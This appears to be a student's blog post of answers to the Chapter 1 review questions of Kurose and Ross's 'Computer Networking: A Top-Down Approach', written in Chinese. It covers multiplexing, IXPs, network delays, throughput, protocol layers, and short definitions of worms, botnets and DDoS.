TDM对于FDM的优点 (1)TDM对于带宽的利用更加灵活(需要更加灵活的时隙分配方案) (2)干扰更少(我猜的,别轻信) ####R13 a.2 b.两个用户刚好占满带宽 c.20% d. $0.20.20.2=0.008$ ####R14 为了减少支付给提供商ISP的费用 IXP怎么赚钱?可能是收过路费吧,但是如果这样,那和那些提供商ISP有什么区别。各级ISP本来就是为了少交钱才建立的IXP。。。 ####R15 (1)减少向顶层ISP缴纳的费用 (2)对自身的服务有了更多的控制 ###1.4节 ####R16 处理时延:与分组长度,路由器的运算速度有关 排队时延:与所在路由器的队列长度和路由器的运算速度(决定了队列的前进速度)有关 传输时延:与分组长度,路由器之间的链路传输速率有关 传播时延:与物理媒介有关 ####R17 翻译本上没找到注册需要的访问码,无法拿到小程序 更可恨的是,求助于百度网盘都没用 ####R18 传播时延:2500000/250000000=0.01s 传输时延:1000*8/2000000=0.004s 不考虑排队时延和处理时延的话那就是0.014s了 很疑惑为什么大家都忽略那0.004s了 注意这里k取到了1000,而不是1024

一般情况下 $t=L/R+d/s$ 显然是有关的 但是有人说问的是传播时延,但是看翻译本确实看不出这个意思 ####R19 a.首先我们知道,吞吐量是瓶颈链路的传输速率,所以如果这三段是串联(借用一下其他学科的词汇吧)的话,那么吞吐量显然应该是$500kbps$。 b.$4MB8/500kbps=64s$ c.吞吐量变为$100kps$,$t=4MB8/100kbps=320s$ ####R20 端系统将大文件分为许多小块,为每一块小块添加头部信息,便成为了分组。分组上会有接收端的地址,分组交换机的缓存中包含了,要让分组交付到接收端,应该交付的,下一个交换机的地址 如果驱车时,进入一个城市,便根据目的地点,询问一次下一个城市应该是哪一个的话,这样的操作和分组的转发实际上是一样的。 ####R21

###1.5节
####R22      
此题无法保证答案正确性:
差错控制,转发分组,封装数据,流量控制,添加参数    
这些都由某一层独立完成,不能由两个层次合作完成,但是不同的层次可以各做一遍(如应用层,运输层都可以提供差错控制服务)
####R23
(1)应用层
网络应用程序及其用户层协议,是产生数据和接收数据的源头
(2)运输层
提供了可靠的传输服务和拥塞控制(TCP)或者是无连接的服务(UDP)
(3)网络层
通过IP地址,将**数据报**转发到对应的主机上
(4)链路层
沿着路径将数据转发给下一个节点
(5)物理层                 
将链路层的整个帧从一个网络元素移动到邻近的网络元素
####R24                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
**应用层报文**是指位于应用层,一个端系统中的应用程序与另一个端系统中的应用程序,在某种协议下的信息分组
**运输层报文段**是指运输层为应用层报文添加上相应头部的分组,在此过程中,应用层报文可能被分割为短报文(TCP)
**网络层数据报**是指将运输层报文段添加IP头部的分组
**链路层帧**是链路层的分组,为网络层提供不同的服务
####R25
路由器:物理层,数据链路层,网络层
链路层交换机:物理层,数据链路层
主机:全部五层
###1.6节
####R26
病毒需要用户交互,才能感染用户设备,蠕虫不需要
####R27
僵尸网路是被感染恶意软件,做着各种不正当的工作的主机的统称。
利用僵尸网络的主机(多个源),向目标发起DoS攻击,就是DDoS攻击
####R28
获取Alice,Bob的个人信息,包括网络账号,真实姓名,聊天记录甚至相关密码,通过这些信息,Trudy可以窥探他人隐私,甚至可以依次勒索受害用户,或者贩卖这些信息来牟利

关于计算机网络·实验一:计算机网络实验11的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于android开发 需要学计算机网络原理吗?要不要熟练掌握计算机网络还是掌握部分?、[计算机网络安全实验] DNS攻击实验、[计算机网络安全实验] TCP协议漏洞利用、《计算机网络·自顶向下方法》第七版 第一章 课后习题与问题 答案等相关知识的信息别忘了在本站进行查找喔。

本文标签: